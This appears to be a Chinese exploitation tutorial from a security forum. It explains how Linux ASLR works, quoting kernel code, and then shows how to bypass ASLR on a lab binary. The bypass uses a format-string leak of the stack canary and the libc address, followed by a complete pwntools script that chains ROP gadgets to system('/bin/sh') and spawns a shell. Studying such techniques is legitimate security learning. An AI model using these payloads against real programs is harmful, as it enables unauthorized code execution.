科技
PWN入门——大闹ASLR
当ASLR(地址空间布局随机化Address Space Layout Randomization
)机制关闭时,程序每次运行时的内存布局都是相同的,当该机制处于打开状态时,程序每次运行时的内存布局都会发生变化。
1:部分开启(堆、栈、MMAP、动态链接库)
2:完全开启(BRK、堆、栈、MMAP、动态链接库)
echo xxx | sudo tee -a /proc/sys/kernel/randomize_va_space
exploit
一定会设置绝对内存地址,此时完成PWN是在假定知道内存布局的情况下完成的。7ffd1b667000-7ffd1b688000 rw-p 00000000 00:00 0 [stack]
第二次运行:
7ffd7024c000-7ffd7026d000 rw-p 00000000 00:00 0 [stack]
一
ASLR的实现
proc
虚文件对ASLR进行控制。1.1 虚文件系统
Virtual File System
)。const char *name;
int fs_flags;
#define FS_REQUIRES_DEV 1
#define FS_BINARY_MOUNTDATA 2
#define FS_HAS_SUBTYPE 4
#define FS_USERNS_MOUNT 8 /* Can be mounted by userns root */
#define FS_DISALLOW_NOTIFY_PERM 16 /* Disable fanotify permission events */
#define FS_ALLOW_IDMAP 32 /* FS has been updated to handle vfs idmappings. */
#define FS_RENAME_DOES_D_MOVE 32768 /* FS will handle d_move() during rename() internally. */
int (*init_fs_context)(struct fs_context *);
const struct fs_parameter_spec *parameters;
struct dentry *(*mount) (struct file_system_type *, int,
const char *, void *);
void (*kill_sb) (struct super_block *);
struct module *owner;
struct file_system_type * next;
struct hlist_head fs_supers;
struct lock_class_key s_lock_key;
struct lock_class_key s_umount_key;
struct lock_class_key s_vfs_rename_key;
struct lock_class_key s_writers_key[SB_FREEZE_LEVELS];
struct lock_class_key i_lock_key;
struct lock_class_key i_mutex_key;
struct lock_class_key invalidate_lock_key;
struct lock_class_key i_mutex_dir_key;
};
file_system_type
信息,然后将设置好的信息提交给register_filesystem
函数进行注册,只有完成注册的文件系统才能被VFS操控。
file_system_type
本身定义是非常简单的,主要就是定义获取和删除super_block
的接口及属性信息,不同文件系统间的file_system_type
之间通过链接进行管理。super_block
是个什么东西呢?super_block
是一个更加复杂的结构体,它定义了文件系统的具体信息和对应文件系统的操作接口,是实际管理文件系统的数据结构。struct list_head s_list; /* Keep this first */
dev_t s_dev; /* search index; _not_ kdev_t */
unsigned char s_blocksize_bits;
unsigned long s_blocksize;
loff_t s_maxbytes; /* Max file size */
struct file_system_type *s_type;
const struct super_operations *s_op;
const struct dquot_operations *dq_op;
const struct quotactl_ops *s_qcop;
const struct export_operations *s_export_op;
unsigned long s_flags;
unsigned long s_iflags; /* internal SB_I_* flags */
unsigned long s_magic;
struct dentry *s_root;
struct rw_semaphore s_umount;
int s_count;
atomic_t s_active;
......
spinlock_t s_inode_wblist_lock;
struct list_head s_inodes_wb; /* writeback inodes */
} __randomize_layout;
proc
文件系统是如何进行注册的。.name = "proc",
.init_fs_context = proc_init_fs_context,
.parameters = proc_fs_parameters,
.kill_sb = proc_kill_sb,
.fs_flags = FS_USERNS_MOUNT | FS_DISALLOW_NOTIFY_PERM,
};
void __init proc_root_init(void)
{
......
register_filesystem(&proc_fs_type);
}
proc
是进程文件系统,属于Linux中伪文件系统的一种,它没有对应真实的磁盘或硬盘,而是提供给用户空间便利的使用Linux系统资源的接口。常见的伪文件系统有proc
、sys
、dev
等等。通过proc
可以方便的查看进程信息,比如进程的内存布局、CPU信息等等。attr clear_refs cpuset fd limits mem net oom_score personality schedstat smaps_rollup status timerslack_ns
autogroup cmdline cwd fdinfo loginuid mountinfo ns oom_score_adj projid_map sessionid stack syscall uid_map
auxv comm environ gid_map map_files mounts numa_maps pagemap root setgroups stat task wchan
cgroup coredump_filter exe io maps mountstats oom_adj patch_state sched smaps statm timers
1.2 proc
proc_ops
结构体、proc_create
接口、proc_remove
接口对proc
进行创建和控制。proc_ops
结构体中有两个较为重要的成员,即proc_read
和proc_write
,它们分别会响应虚文件被用户空间读写时的操作。下面给出了创建proc
虚文件的示例代码。static struct proc_dir_entry* lde_proc_entry = NULL;
static ssize_t lde_proc_read(struct file* file, char __user* ubuf, size_t count, loff_t* data)
{
printk(KERN_INFO "%s called file 0x%px, buffer 0x%px count 0x%lx off 0x%llx\n",
__func__, file, ubuf, count, *data);
return 0;
}
static ssize_t lde_proc_write(struct file* file, const char __user* ubuf, size_t count, loff_t* data)
{
printk(KERN_INFO "%s called legnth 0x%lx, 0x%px\n",
__func__, count, ubuf);
return count;
}
static struct proc_ops lde_proc_ops = {
.proc_read = lde_proc_read,
.proc_write = lde_proc_write
};
int lde_proc_create(void)
{
int ret;
ret = SUCCEED;
lde_proc_entry = proc_create("lde_proc", 0, NULL, &lde_proc_ops);
if (!lde_proc_entry) {
printk(KERN_ERR "%s create proc entry failed\n", __func__);
ret = PROC_CREATE_FAILED;
}
return ret;
}
void lde_proc_remove(void)
{
if (lde_proc_entry == NULL) {
printk(KERN_INFO "%s proc not exists\n", __func__);
goto TAG_RETURN;
}
proc_remove(lde_proc_entry);
TAG_RETURN:
return;
}
dmesg
中看到相关的打印信息。echo test | sudo tee -a /proc/lde_proc
[ 440.396298] starting from 0xffffffffc0af6090 ...
[ 446.024481] lde_proc_read called file 0xffff9626c2931400, buffer 0x000077aeb6db8000 count 0x40000 off 0x0
[ 459.392387] lde_proc_write called legnth 0x5, 0x00007fff783f3090
[ 476.345011] exiting from 0xffffffffc0af60f0 ...
1.3 randomize_va_space变量的设置
proc
除了支持访问进程信息外,它还支持在Linux内核运行时对内核参数进行修改,该机制也被称作sysctl
。/proc/sys/kernel/
中的虚文件会通过kern_table
进行定义,每个模块都会定义一个处理函数和数据对象,处理函数会负责处理虚文件被读写时进行的操作,而数据对象则是被操作的数值。randomize_va_space
指定的处理函数是proc_dointvec
,其作用是读取整数值或写入整数值,待处理的数据对象是randomize_va_space
,它是一个整型的全局变量。/proc/sys/kernel/randomize_va_space
写入数值时,randomize_va_space
变量的数值就会被proc_dointvec
函数更改。......
#if defined(CONFIG_MMU)
{
.procname = "randomize_va_space",
.data = &randomize_va_space,
.maxlen = sizeof(int),
.mode = 0644,
.proc_handler = proc_dointvec,
},
#endif
......
}
1.4 内存布局的随机化设置
load_elf_binary
函数会根据randomize_va_space
变量设置标志位,当标志位完成设置后,才会正式开始BRK、MMAP、堆、栈、动态链接库、vDSO的地址随机化,随机化的主要操作就是根据随机值对地址进行偏移。{
......
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
current->flags |= PF_RANDOMIZE;
/* Do this so that we can load the interpreter, if need be. We will
change some of these later */
retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
executable_stack);
......
mm = current->mm;
mm->end_code = end_code;
mm->start_code = start_code;
mm->start_data = start_data;
mm->end_data = end_data;
mm->start_stack = bprm->p;
......
if (!first_pt_load) {
elf_flags |= MAP_FIXED;
} else if (elf_ex->e_type == ET_EXEC) {
elf_flags |= MAP_FIXED_NOREPLACE;
} else if (elf_ex->e_type == ET_DYN) {
if (interpreter) {
load_bias = ELF_ET_DYN_BASE;
if (current->flags & PF_RANDOMIZE)
load_bias += arch_mmap_rnd();
alignment = maximum_alignment(elf_phdata, elf_ex->e_phnum);
if (alignment)
load_bias &= ~(alignment - 1);
elf_flags |= MAP_FIXED_NOREPLACE;
} else
load_bias = 0;
......
}
......
if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
/*
* For architectures with ELF randomization, when executing
* a loader directly (i.e. no interpreter listed in ELF
* headers), move the brk area out of the mmap region
* (since it grows up, and may collide early with the stack
* growing down), and into the unused ELF_ET_DYN_BASE region.
*/
if (IS_ENABLED(CONFIG_ARCH_HAS_ELF_RANDOMIZE) &&
elf_ex->e_type == ET_DYN && !interpreter) {
mm->brk = mm->start_brk = ELF_ET_DYN_BASE;
}
mm->brk = mm->start_brk = arch_randomize_brk(mm);
current->brk_randomized = 1;
#endif
}
......
}
1.4.1 mmap随机化
arch_pick_mmap_layout
函数对MMAP进行随机化,当检测到标志位开启时,就会提供随机值给MMAP,否则则会提供0,MMAP会根据该数值对地址空间进行设置。{
......
arch_pick_mmap_layout(me->mm, &bprm->rlim_stack);
......
}
EXPORT_SYMBOL(setup_new_exec);
void arch_pick_mmap_layout(struct mm_struct *mm, struct rlimit *rlim_stack)
{
......
arch_pick_mmap_base(&mm->mmap_base, &mm->mmap_legacy_base,
arch_rnd(mmap64_rnd_bits), task_size_64bit(0),
rlim_stack);
......
}
static unsigned long arch_rnd(unsigned int rndbits)
{
if (!(current->flags & PF_RANDOMIZE))
return 0;
return (get_random_long() & ((1UL << rndbits) - 1)) << PAGE_SHIFT;
}
1.4.2 栈的随机化
load_elf_binary
函数会先通过setup_arg_pages
函数设置栈空间。栈空间的偏移值由randomize_stack_top
的结果决定,当标志位中存在PF_RANDOMIZE
时,randomize_stack_top
将地址根据随机值进行偏移,否则就不会进行偏移。{
unsigned long random_variable = 0;
if (current->flags & PF_RANDOMIZE) {
random_variable = get_random_long();
random_variable &= STACK_RND_MASK;
random_variable <<= PAGE_SHIFT;
}
#ifdef CONFIG_STACK_GROWSUP
return PAGE_ALIGN(stack_top) + random_variable;
#else
return PAGE_ALIGN(stack_top) - random_variable;
#endif
}
int setup_arg_pages(struct linux_binprm *bprm,
unsigned long stack_top,
int executable_stack)
{
......
#ifdef CONFIG_STACK_GROWSUP
/* Limit stack size */
stack_base = bprm->rlim_stack.rlim_max;
stack_base = calc_max_stack_size(stack_base);
/* Add space for stack randomization. */
stack_base += (STACK_RND_MASK << PAGE_SHIFT);
/* Make sure we didn't let the argument array grow too large. */
if (vma->vm_end - vma->vm_start > stack_base)
return -ENOMEM;
stack_base = PAGE_ALIGN(stack_top - stack_base);
stack_shift = vma->vm_start - stack_base;
mm->arg_start = bprm->p - stack_shift;
bprm->p = vma->vm_end - stack_shift;
#else
stack_top = arch_align_stack(stack_top);
stack_top = PAGE_ALIGN(stack_top);
if (unlikely(stack_top < mmap_min_addr) ||
unlikely(vma->vm_end - vma->vm_start >= stack_top - mmap_min_addr))
return -ENOMEM;
stack_shift = vma->vm_end - stack_top;
bprm->p -= stack_shift;
mm->arg_start = bprm->p;
#endif
......
}
CONFIG_STACK_GROWSUP
对内核进行配置。处理栈空间的地址时,如果不使用CONFIG_STACK_GROWSUP
功能,那么栈顶地址会通过arch_align_stack
再次进行偏移,然后将低4比特设置为0,进行对齐。{
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
sp -= prandom_u32_max(8192);
return sp & ~0xf;
}
1.4.3 brk的随机化
randomize_va_space
变量值为2时,load_elf_binary
函数会额外对brk地址进行偏移,偏移所需的随机值通过(get_random_long() % range << PAGE_SHIFT)
获取。{
if (!PAGE_ALIGNED(start)) {
range -= PAGE_ALIGN(start) - start;
start = PAGE_ALIGN(start);
}
if (start > ULONG_MAX - range)
range = ULONG_MAX - start;
range >>= PAGE_SHIFT;
if (range == 0)
return start;
return start + (get_random_long() % range << PAGE_SHIFT);
}
unsigned long arch_randomize_brk(struct mm_struct *mm)
{
return randomize_page(mm->brk, 0x02000000);
}
load_elf_binary{
......
if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
/*
* For architectures with ELF randomization, when executing
* a loader directly (i.e. no interpreter listed in ELF
* headers), move the brk area out of the mmap region
* (since it grows up, and may collide early with the stack
* growing down), and into the unused ELF_ET_DYN_BASE region.
*/
if (IS_ENABLED(CONFIG_ARCH_HAS_ELF_RANDOMIZE) &&
elf_ex->e_type == ET_DYN && !interpreter) {
mm->brk = mm->start_brk = ELF_ET_DYN_BASE;
}
mm->brk = mm->start_brk = arch_randomize_brk(mm);
#ifdef compat_brk_randomized
current->brk_randomized = 1;
#endif
}
......
}
1.4.4 动态连接的随机化
load_elf_binary
函数处理动态链接库时,它会根据标志位决定是否给动态链接库的加载地址设置偏移值,偏移值的数值由arch_rnd
获取。{
if (!(current->flags & PF_RANDOMIZE))
return 0;
return (get_random_long() & ((1UL << rndbits) - 1)) << PAGE_SHIFT;
}
unsigned long arch_mmap_rnd(void)
{
return arch_rnd(mmap_is_ia32() ? mmap32_rnd_bits : mmap64_rnd_bits);
}
load_elf_binary{
......
if (!first_pt_load) {
elf_flags |= MAP_FIXED;
} else if (elf_ex->e_type == ET_EXEC) {
elf_flags |= MAP_FIXED_NOREPLACE;
} else if (elf_ex->e_type == ET_DYN) {
if (interpreter) {
load_bias = ELF_ET_DYN_BASE;
if (current->flags & PF_RANDOMIZE)
load_bias += arch_mmap_rnd();
alignment = maximum_alignment(elf_phdata, elf_ex->e_phnum);
if (alignment)
load_bias &= ~(alignment - 1);
elf_flags |= MAP_FIXED_NOREPLACE;
} else
load_bias = 0;
......
}
......
}
1.5 随机化的总结
get_random_long
函数获取随机值,然后根据某数值进行运算,最后根据页偏移进行对齐。static inline unsigned long get_random_long(void)
{
#if BITS_PER_LONG == 64
return get_random_u64();
#else
return get_random_u32();
#endif
}
(get_random_long() & ((1UL << rndbits) - 1)) << PAGE_SHIFT
#define STACK_RND_MASK __STACK_RND_MASK(mmap_is_ia32())
random_variable = get_random_long();
random_variable &= STACK_RND_MASK;
random_variable <<= PAGE_SHIFT;
range >>= PAGE_SHIFT; // 0x2000 8kb
(get_random_long() % range << PAGE_SHIFT)
二
绕过思路
三
示例讲解
1179: 55 push %rbp
117a: 48 89 e5 mov %rsp,%rbp
117d: 48 83 ec 40 sub $0x40,%rsp
设置栈空间
1181: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
1188: 00 00
118a: 48 89 45 f8 mov %rax,-0x8(%rbp)
设置金丝雀
118e: 31 c0 xor %eax,%eax
清空eax
1190: 48 8d 05 6d 0e 00 00 lea 0xe6d(%rip),%rax # 2004 <_IO_stdin_used+0x4>
1197: 48 89 c7 mov %rax,%rdi
119a: e8 91 fe ff ff call 1030 <puts@plt>
读取待打印字符串并进行打印
119f: 48 8d 45 c0 lea -0x40(%rbp),%rax
11a3: 48 89 c6 mov %rax,%rsi
准备2号形参
11a6: 48 8d 05 5c 0e 00 00 lea 0xe5c(%rip),%rax # 2009 <_IO_stdin_used+0x9>
11ad: 48 89 c7 mov %rax,%rdi
准备1号形参
11b0: b8 00 00 00 00 mov $0x0,%eax
eax清零,用于处理返回值为非0的情况
11b5: e8 b6 fe ff ff call 1070 <__isoc99_scanf@plt>
调用scanf,1号形参为格式化字符串,2号形参为缓冲区变量
11ba: 48 8d 45 c0 lea -0x40(%rbp),%rax
11be: 48 89 c7 mov %rax,%rdi
设置缓冲区变量为1号形参
11c1: b8 00 00 00 00 mov $0x0,%eax
eax清零,用于处理返回值为非0的情况
11c6: e8 85 fe ff ff call 1050 <printf@plt>
根据1号形参提供的格式化字符串进行打印
11cb: 90 nop
11cc: 48 8b 45 f8 mov -0x8(%rbp),%rax
11d0: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
11d7: 00 00
11d9: 74 05 je 11e0 <leak_func+0x67>
11db: e8 60 fe ff ff call 1040 <__stack_chk_fail@plt>
检测金丝雀
11e0: c9 leave
11e1: c3 ret
00000000000011e2 <read_func>:
11e2: 55 push %rbp
11e3: 48 89 e5 mov %rsp,%rbp
11e6: 48 81 ec 10 01 00 00 sub $0x110,%rsp
设置栈空间
11ed: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
11f4: 00 00
11f6: 48 89 45 f8 mov %rax,-0x8(%rbp)
设置金丝雀
11fa: 31 c0 xor %eax,%eax
清空eax金丝雀
11fc: 48 8d 05 09 0e 00 00 lea 0xe09(%rip),%rax # 200c <_IO_stdin_used+0xc>
1203: 48 89 c7 mov %rax,%rdi
1206: e8 25 fe ff ff call 1030 <puts@plt>
准备待打印字符串,并调用puts函数
120b: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax
1212: ba 00 10 00 00 mov $0x1000,%edx
设置0x1000为3号形参
1217: 48 89 c6 mov %rax,%rsi
将栈上数据设置为2号形参
121a: bf 00 00 00 00 mov $0x0,%edi
设置0为1号形参
121f: e8 3c fe ff ff call 1060 <read@plt>
调用read函数,1号形参为文件描述符,2号为缓冲区变量,3号为读取长度
1224: 90 nop
1225: 48 8b 45 f8 mov -0x8(%rbp),%rax
1229: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
1230: 00 00
1232: 74 05 je 1239 <read_func+0x57>
1234: e8 07 fe ff ff call 1040 <__stack_chk_fail@plt>
金丝雀检测
1239: c9 leave
123a: c3 ret
000000000000123b <main>:
123b: 55 push %rbp
123c: 48 89 e5 mov %rsp,%rbp
设置栈空间
123f: e8 35 ff ff ff call 1179 <leak_func>
1244: e8 99 ff ff ff call 11e2 <read_func>
函数调用
1249: 48 8d 05 c1 0d 00 00 lea 0xdc1(%rip),%rax # 2011 <_IO_stdin_used+0x11>
1250: 48 89 c7 mov %rax,%rdi
1253: e8 d8 fd ff ff call 1030 <puts@plt>
准备待打印字符串,并调用puts函数
1258: b8 00 00 00 00 mov $0x0,%eax
设置返回值
125d: 5d pop %rbp
恢复栈底指针
125e: c3 ret
返回
leak_func
函数会从输入读取内容,然后交给printf
进行打印,而read_func
函数则会从输入读取内容给缓冲区变量。leak_func
函数和read_func
函数显然给我们提供注入shellcode的机会,但由于现在安卓机制开的比较全,特别是ASLR的存在,使得我们需要先将LibC的基地址泄露出来。RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
cat /proc/sys/kernel/randomize_va_space
2
leak_func
函数非常宽容的将格式化字符串的定义权交给输入端,对于输入端而言,者是不是利用机会呢?3.1 格式化字符串漏洞
3.1.1 格式化字符串的介绍
printf
打印函数,它会接收格式化字符串作为固定参数,然后将格式化字符串与可变参数进行组合,最后将结果输出到标准输出stdout
中。
stdin
、stdout
、stderr
属于标准输入输出,其中stdin
的作用是响应键盘的输入,stdout
、stderr
将内容输出到屏幕,即它们对于Linux而言是外部设备,在秉承一切皆文件原则的Linux中,它们作为设备文件存在于dev
目录下。stdout
和stderr
的区别在于缓冲区,stdout
只有当缓冲区满了及遇到换行符的情况下才会输出信息,而stderr
则是直接输出。stderr
stdin
stdout
stdin
、stdout
、stderr
对于的文件描述符分别是0、1、2。0 1 19 2 20 23 27 3
printf
函数,而你有时候不需要打印,更不需要将打印输出到屏幕上,那么就可以在函数的开头通过stdout
的文件描述符1将stdout
关闭(close(1)
),那么就不会再看到输出了。%
是必备的,它标志着转换字符序列的开始,除此之外C语言还支持在转换指示符后添加扩展指示符,用于进一步指示参数的输出形式。3.1.2 漏洞的利用
前6个参数:rdi、rsi、rdx、rcx、r8、r9
第7个及以后的参数:栈
的结果看起来畸形,但是根据参数位置上数值指向的内存区域内的数值进行转换时,问题就很可能出现,比如因为参数位置上数值未必对应正确的内存地址,直接使用会导致错误发生。
3.1.2.1 信息的泄露
"%llx.%llx.
......%llx.%llx"
时,就可以直接暴露信息,下面给出了示例。读取及输出:scanf("%s", buf);、printf(buf);
通过GDB查看printf函数调用时的寄存器信息:
(gdb) info registers rdi rsi rdx rcx r8 r9
rdi 0x7fffe50928e0 140737035970784
rsi 0xa 10
rdx 0x0 0
rcx 0x0 0
r8 0xffffffff 4294967295
r9 0xffffffffffffff88 -120
前5个泄露信息(rdi被格式化字符串所在地址占用,所以从rsi开始):
a.0.0.ffffffff.ffffffffffffff88
通过GDBG查看printf函数调用时的栈信息
(gdb) x /20x $rbp
0x7fffc19d3ac0: 0xc19d3ce0 0x00007fff 0x7be111d4 0x000063c7
0x7fffc19d3ad0: 0x786c6c25 0x6c6c252e 0x6c252e78 0x252e786c
0x7fffc19d3ae0: 0x2e786c6c 0x786c6c25 0x6c6c252e 0x6c252e78
0x7fffc19d3af0: 0x252e786c 0x2e786c6c 0x786c6c25 0x6c6c252e
0x7fffc19d3b00: 0x6c252e78 0x252e786c 0x2e786c6c 0x786c6c25
(gdb) x /s $rbp+0x10
0x7fffc19d3ad0: "%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx."...
第6-13个泄露信息:
6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.
%llx
的数量足够打印完寄存器和构造的格式化字符串,那么printf
函数还会继续打印金丝雀、返回地址等等,这些数据的泄露,是我们所期望的。%llx
时,还需要考虑变量的缓冲区是否可以容纳它们,如果缓冲区变量的空间有些小,不足够泄露金丝雀和所需内存地址时,岂不是无法对漏洞进行利用??$
,当该扩展指示符添加时,就会打印第?
个参数,那么这个时候就不需要构造大量%llx
对栈上信息进行泄露了。?$
读取指定位置的地址,就可以实现任意地址的读取。3.1.2.2 信息的篡改
%n
。printf("i = %x\n", i);
输出结果:
0000000001
i = a
3.1.2.3 格式化字符串漏洞的总结
3.2 exploit的构建
leak_func
函数和read_func
函数会分别用于泄露LibC地址、金丝雀及注入shellcode。3.2.1 金丝雀的读取
$x
指定金丝雀和LibC元素所在的位置。金丝雀会给read_func
函数准备的(注入shellcode,期间需要填充正确的shellcode),但此时金丝雀的读取不是read_func
函数内部,它们的数值会一样吗?PWN入门-3-金丝雀风波
中说过,不同线程的金丝雀值会保存在对于的task_struct
中,因此同线程中所有函数使用的金丝雀值都是一样的,只有所属线程不同时,金丝雀值才会有差异。printf
函数中,格式化字符串取第6个后的参数时会从rbp+0x10
的位置开始读取(rbp
和rbp+0x8
间用于存放返回地址和栈底指针)。rbp+0x10
已经是leak_func
函数的栈空间了,该函数内部分配0x40的空间,其中0x8是给金丝雀的,所以金丝雀的偏移值为0x38,中间相当于隔着7个参数,算上寄存器保存的6个参数,它是第13个参数,在格式化字符串中通过13$llx
就可以将它读取出来。3.2.3 LibC基地址的获取
main
函数需要由LibC进行调用,因此main
函数中rbp+0x8
的位置一定是存储着返回LibC的基地址。#1 0x00007ffff7dd7c88 in __libc_start_call_main (
main=main@entry=0x55555555523b <main>, argc=argc@entry=1,
argv=argv@entry=0x7fffffffdf68) at ../sysdeps/nptl/libc_start_call_main.h:58
#2 0x00007ffff7dd7d4c in __libc_start_main_impl (main=0x55555555523b <main>, argc=1,
argv=0x7fffffffdf68, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffdf58) at ../csu/libc-start.c:360
#3 0x00005555555550a5 in _start ()
(gdb) frame 1
#1 0x00007ffff7dd7c88 in __libc_start_call_main (
main=main@entry=0x55555555523b <main>, argc=argc@entry=1,
argv=argv@entry=0x7fffffffdf68) at ../sysdeps/nptl/libc_start_call_main.h:5
leak_func
函数金丝雀上方就只有main
函数栈底指针、main
函数返回地址、__libc_start_call_main
的栈底指针,__libc_start_call_main
的返回地址四个参数,那么要获取LibC元素的地址就是第17个参数(13+3)。__libc_start_call_main
函数对应的是__libc_init_first
,它会在0x25c86处调用main
函数,执行后程序指针会执行下条指令,因此0x25c88就是上面获取到的LibC元素的偏移值,元素地址减去元素偏移值就是LibC的基地址。......
25d47: e8 c4 fe ff ff call 25c10 <__libc_init_first@@GLIBC_2.2.5+0x10>
......
0000000000025c00 <__libc_init_first@@GLIBC_2.2.5>:
......
25c86: ff d0 call *%rax
25c88: 89 c7 mov %eax,%edi
......
3.2.4 完成exploit
system
函数,最终成功调用shell。def convert2hex(data):
return int(data, 16)
def sh_payload_get(target_info):
payload = b'A' * (0x110 - 0x8)
payload += pwn.p64(target_info['canary'])
payload += b'B' * 0x8
payload += pwn.p64(target_info['libc_base_addr'] + target_info['pop_rdi_ret_offset'])
payload += pwn.p64(target_info['libc_base_addr'] + target_info['sh_offset'])
payload += pwn.p64(target_info['libc_base_addr'] + target_info['ret_offset'])
payload += pwn.p64(target_info['libc_base_addr'] + target_info['system_offset'])
payload += pwn.p64(target_info['libc_base_addr'] + target_info['exit_offset'])
return payload
def libc_info_get(target_info):
target_info['system_offset'] = target_info['libc_info'].symbols['system']
target_info['exit_offset'] = target_info['libc_info'].symbols['exit']
target_info['sh_offset'] = target_info['libc_info'].search("/bin/sh").__next__()
print('[--] system@libc offset: {}, exit@libc offset: {}'.format(hex(target_info['system_offset']), hex(target_info['exit_offset'])))
print('[--] /bin/sh@libc offset: {}'.format(hex(target_info['sh_offset'])))
return target_info
def canary_get(target_info):
target_info['canary'] = convert2hex(target_info['leak_data'].decode().split('.')[0])
print('[**] canary value: {}'.format(hex(target_info['canary'])))
return target_info
def libc_base_get(target_info):
random_libc = convert2hex(target_info['leak_data'].decode().split('.')[1])
print('[**] libc leaked address: {}'.format(hex(random_libc)))
target_info['libc_base_addr'] = random_libc - target_info['libc_leak_ele_offset']
print('[--] libc base address: {}'.format(target_info['libc_base_addr']))
return target_info
def leak_payload_get():
payload = b'%13$llx.%17$llx.'
payload += b'endtag'
return payload
def main():
target_info = {
'exec_path': './aslr_bypass_example',
'libc_info': '/usr/lib/libc.so.6',
'leak_data': 0x0,
'libc_leak_ele_offset': 0x25c88,
'canary': 0x0,
'libc_base_addr': 0x0,
'pop_rdi_ret_offset': 0xfd8c4,
'ret_offset': 0xfd8c5,
'system_offset': 0x0,
'sh_offset': 0x0,
'exit_offset': 0x0
}
pwn.context.binary = pwn.ELF(target_info['exec_path'])
conn = pwn.process([target_info['exec_path']])
target_info['libc_info'] = pwn.ELF(target_info['libc_info'])
pwn.pause()
leak_payload = leak_payload_get()
conn.sendlineafter('>>>>\n', leak_payload)
target_info['leak_data'] = conn.recvuntil('endtag')
print(target_info['leak_data'])
target_info['leak_data'] = target_info['leak_data'][0:-1]
target_info = libc_base_get(target_info)
target_info = canary_get(target_info)
target_info = libc_info_get(target_info)
sh_payload = sh_payload_get(target_info)
conn.sendlineafter('<<<<\n', sh_payload)
conn.interactive()
if __name__ == '__main__':
main()
sys.exit(0)
3.3 成功PWN
$ whoami
test
看雪ID:福建炒饭乡会
https://bbs.kanxue.com/user-home-1000123.htm
# 往期推荐
3、V8 torque函数PromiseAllResolveElementClosure 相关的issue和POC的探索
球分享
球点赞
球在看
点击阅读原文查看更多